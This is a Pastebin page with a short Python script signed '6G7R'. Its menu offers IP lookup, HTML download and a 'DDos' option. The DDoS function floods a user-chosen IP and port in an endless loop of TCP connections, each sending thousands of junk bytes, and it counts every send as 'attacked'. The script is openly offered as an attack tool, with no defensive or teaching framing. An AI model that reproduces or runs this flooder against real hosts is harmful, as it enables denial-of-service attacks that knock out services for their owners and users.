Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests,colorama,os
- import socket
- from scapy.all import *
- clear = lambda: os.system('cls')
- clear()
- try:
- text = requests.get(f'http://artii.herokuapp.com/make?text=6G7R Here').text
- print(colorama.Fore.RED, text)
- except:
- print("""
- By 6G7R
- """)
- print(f"""
- {colorama.Fore.RED}1 - extract ip site
- 2 - {colorama.Fore.YELLOW}html site
- 3 - DDos
- """)
- def ip():
- text = requests.get(f'http://artii.herokuapp.com/make?text=extract ip sitee').text
- print(colorama.Fore.GREEN, text)
- wepp =input(f"[{colorama.Fore.GREEN}+{colorama.Fore.RESET}] {colorama.Fore.CYAN} site : ")
- try:
- ip = socket.gethostbyname(wepp)
- print(f'[{colorama.Fore.GREEN}+{colorama.Fore.RESET}] ip {wepp} is :{ip}')
- input('Enter For Exit')
- except:
- print(f'[{colorama.Fore.RED}+{colorama.Fore.RESET}] Error Try again')
- input('Enter For Exit')
- def html():
- text = requests.get(f'http://artii.herokuapp.com/make?text=html site').text
- print(colorama.Fore.GREEN, text)
- url = input(f'{colorama.Fore.RESET} [{colorama.Fore.GREEN}+{colorama.Fore.RESET}] Webpage : ')
- html = input(f'{colorama.Fore.RESET}[{colorama.Fore.GREEN}+{colorama.Fore.RESET}] Name file: ')
- try:
- req = requests.get(url, 'html.parser')
- with open(html, 'w') as f:
- f.write(req.text)
- f.close()
- input(' Done ! << >> Enter For Exit')
- except:
- print(f'[{colorama.Fore.RED}+{colorama.Fore.RESET}] Error Try again')
- input('Enter For Exit')
- def DDos():
- d = 1
- e = 1
- ipp = input(f'{colorama.Fore.RED}ip :')
- PORT = int(input(f'{colorama.Fore.CYAN}port : '))
- while 1:
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- socket.setdefaulttimeout(1)
- sock.connect((ipp, PORT))
- dataa = b'ehyrteuyiesuyhptuyh' * 1000
- send = (scapy.all.IP(dst=ipp) / scapy.all.TCP(dport=80))
- sock.send(dataa)
- print(f'{colorama.Fore.RESET} [{colorama.Fore.GREEN}+{colorama.Fore.RESET}] Done attacked for ip >> {d}')
- d += 1
- except:
- print(f'{colorama.Fore.RESET}[{colorama.Fore.RED}+{colorama.Fore.RESET}] Error attacked for ip >> {e}')
- e +=1
- try:
- hm = input(f'{colorama.Fore.RESET}[{colorama.Fore.RED}+{colorama.Fore.RESET}] >>> : ')
- except:
- print(f'{colorama.Fore.RESET}[{colorama.Fore.RED}+{colorama.Fore.RESET}] Error Try again')
- input('Enter For Exit')
- if('1')in hm:
- clear()
- ip()
- elif '2' in hm:
- clear()
- html()
- elif '3' in hm:
- clear()
- DDos()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement